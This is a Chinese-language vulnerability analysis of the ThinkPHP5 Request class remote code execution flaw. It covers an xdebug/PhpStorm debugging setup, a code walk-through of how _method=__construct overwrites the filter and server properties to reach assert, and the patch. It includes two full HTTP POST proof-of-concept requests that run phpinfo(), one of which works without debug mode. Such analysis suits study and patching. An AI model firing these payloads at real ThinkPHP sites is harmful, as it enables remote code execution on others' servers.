ThinkPHP5 核心类 Request 远程代码漏洞分析
先说下xdebug+phpstorm审计环境搭建:
- php.ini添加如下配置,在phpinfo页面验证是否添加成功。
[XDebug]
;xdebug.profiler_output_dir="D:\phpStudy\tmp\xdebug"
;xdebug.trace_output_dir="D:\phpStudy\tmp\xdebug"
zend_extension="D:\phpstudy\php\php-5.5.38\ext\php_xdebug.dll"
xdebug.auto_trace = 1
xdebug.trace_format = 0
xdebug.trace_output_dir="D:\phpstudy\tmp\xdebug"
xdebug.trace_options = 0
xdebug.collect_params = 4
xdebug.collect_return = 1
xdebug.collect_vars = 1
xdebug.collect_assignments = 1
xdebug.profiler_append = 0
xdebug.profiler_enable = 1
xdebug.profiler_enable_trigger = 0
xdebug.profiler_output_name="cache.out.%t-%s"
xdebug.profiler_output_dir="D:\phpstudy\tmp\XCache"
xdebug.remote_enable = 1
xdebug.remote_enable = on
xdebug.remote_port = 9000
xdebug.remote_mode = "req"
xdebug.remote_handler = "dbgp"
xdebug.remote_host = "127.0.0.1"
xdebug.remote_autostart = on
xdebug.idekey="PHPSTORM"
- 配置phpstorm设置里的Server
- 配置phpstorm设置里的debug port端口和上面配置文件开放端口一致
- 验证xdebug是否配置成功,注意create validation script选择网站根目录
- 火狐浏览器下载插件并开启
- phpstorm下断点并开启debug,浏览器访问就能在断点处停住
参考链接:https://blog.csdn.net/flyingdream123/article/details/69358819
版本使用的是5.0.2.3,需要开启debug模式先给出poc如下:
POST /thinkphp5_0/public/index.php?s=captcha HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0; Waterfox) Gecko/20100101 Firefox/56.2.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
Cookie: thinkphp_show_page_trace=0|0; security_level=0; ECS[visit_times]=1; PHPSESSID=cme4h35lc29jj7uk4ne4640p26
Connection: close
Upgrade-Insecure-Requests: 1
_method=__construct&filter[]=assert&server[REQUEST_METHOD]=phpinfo();
主要就是method方法的问题,在这里下断,第一次method==false走到elseif分支this->method变量赋值为_CONSTRUCT。相当于调用当前类的构造函数,跟进
构造函数意思是,如果当前类存在属性,就将其重新赋值。这里server,filter都被重新赋值
跟到当前类的126行,调用param方法,这里debug设置为true才会走到if分支
调用this->method(true)
这次调用了method方法的if分支,跟入server方法
server的值被传入input函数,跟入
server值赋值给data,1026行获取过滤器的值,前面赋值为assert.继续跟到1032行filterValue函数
这里导致命令执行
看下补丁,this->method不让调用任意方法。
还有一种payload不用debug模式也可以RCE:
POST /thinkphp5_0/public/index.php?s=captcha HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0; Waterfox) Gecko/20100101 Firefox/56.2.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
Cookie: thinkphp_show_page_trace=0|0; security_level=0; ECS[visit_times]=1; PHPSESSID=cme4h35lc29jj7uk4ne4640p26
Connection: close
Upgrade-Insecure-Requests: 1
_method=__construct&method=get&filter[]=assert&server[REQUEST_METHOD]=phpinfo();
给filter变量赋值后,调用param方法就能导致RCE。
下面就是漏洞触发点的位置